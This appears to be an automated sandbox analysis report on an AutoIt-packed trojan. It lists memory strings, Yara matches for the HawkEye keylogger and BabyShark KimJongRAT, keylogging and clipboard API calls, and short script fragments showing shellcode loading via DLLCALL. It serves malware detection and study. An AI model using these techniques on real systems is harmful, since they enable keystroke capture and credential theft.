Source: bhv4453.tmp.3.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BE6B7572D
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlI3K.woff
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94bt3.woff
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAA.woff
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5g.woff
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_333%2Cw_311%2Cc_fill%2Cg_faces:aut
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DnuZ
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnv6
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnwt
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DsDH
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmQ
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmV
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmZ
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FGwC
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n1yl
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n4cm
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJ7
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJa
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4nqTh
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4sQww?ver=37ff
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tD2S
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tG3O
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoW
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoY
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tKUA
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOD
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOM
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tQVa
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4u1kF
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ubMD
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4wqj5
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4zuiC
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RWeTGO?ver=8c74&q=90&m=
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601451842&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: vbc.exe, 00000003.00000003.272251788.00000000028BB000.00000004.00000001.sdmp, vbc.exe, 00000003.00000002.273357379.0000000002848000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.269966059.000000000226E000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: vbc.exe	String found in binary or memory: https://login.yahoo.com/config/login
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/MeControl.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/css/bundle/1.57.0/west-european/default/mwf-main.min.css
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/js/bundle/1.57.0/mwf-auto-init-main.var.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://optanon.blob.core.windows.net/skins/4.1.0/default_flat_top_two_button_black/v2/css/optanon.c
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://optanon.blob.core.windows.net/skins/4.1.0/default_flat_top_two_button_black/v2/images/cookie
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://pki.goog/repository/0
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://play.google.com/intl/en_us/badges/images/generic/de_badge_web_generic.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://prod-video-cms-rt-microsoft-com.akamaized.net/vhs/api/videos/RE4sQBc
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://srtb.msn.com/auction?a=de-ch&b=623d43496a394c99b1336ff5cc139eb9&c=MSN&d=http%3A%2F%2Fwww.msn
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://statics-marketingsites-neu-ms-com.akamaized.net/statics/override.css?c=7
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=GTM-N7S69J3&cid=299872286.1601476511
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/
Source: vbc.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/application/x-msdownloadC:
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v2.min.css
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v3.min.css
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/app-store-download.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome-logo.svg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_throbber_fast.gif
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/cursor-replay.cur
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_phone.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-fb.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-help.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/folder-applications.svg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/google-play-download.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-beta.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-canary.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-dev.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-enterprise.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_features.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_privacy.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_tools.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/laptop_desktop.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-announcement.svg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-file-download.svg
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/mac-ico.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/js/installer.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/static/js/main.v2.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion_async.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.googleadservices.com/pagead/p3p.xml
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-26908291-4
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-PZ6TRJB
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/autotrack/autotrack.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/lottie/lottie.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/modernizr/modernizr.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/ScrollMagic.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/animation.gsap.min.js

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D8CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00D8CDAC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D02344 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00D02344

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 3_2_0040F078 OpenClipboard,GetLastError,DeleteFileW,

3_2_0040F078

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 19.0.vbc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.3.RegAsm.exe.4a9b8f2.0.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.3.RegAsm.exe.4a9b8f2.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.522834a.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.3.RegAsm.exe.4a435a8.2.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.3.RegAsm.exe.4a435a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: HawkEye v9 Payload Author: ditekshen
Source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: HawkEye v9 Payload Author: ditekshen
Source: 1.2.RegAsm.exe.51d0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.51d0345.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.522834a.3.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.6d55bd0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: HawkEye v9 Payload Author: ditekshen
Source: 19.0.vbc.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 19.0.vbc.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.6df1c10.4.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.2.RegAsm.exe.6df1c10.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.3.RegAsm.exe.4a438ed.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: HawkEye v9 Payload Author: ditekshen
Source: 1.2.RegAsm.exe.51d0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Detects BabyShark KimJongRAT Author: Florian Roth
Source: Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720, type: MEMORYSTR	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth
Source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR	Matched rule: Detects HawkEye Keylogger Reborn Author: Florian Roth

Binary is likely a compiled AutoIt script file

Show sources

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000000.246789907.0000000000DB5000.00000002.00020000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000000.246789907.0000000000DB5000.00000002.00020000.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer

AutoIt script contains suspicious strings

Show sources

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	AutoIt Script: $PROTECT ) LOCAL $BIN_SHELLCODE = REQ_TCJHAHVFDQURV
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	AutoIt Script: QMFVRQNV () LOCAL $LPSHELLCODE = DLLCALL (PNBIRNHK
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	AutoIt Script: ILE ) LOCAL $RET = DLLCALLADDRESS (MLHTVAHGQBSHGBCHDS

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: 19.0.vbc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.3.RegAsm.exe.4a9b8f2.0.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.3.RegAsm.exe.4a9b8f2.0.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.522834a.3.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.3.RegAsm.exe.4a435a8.2.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
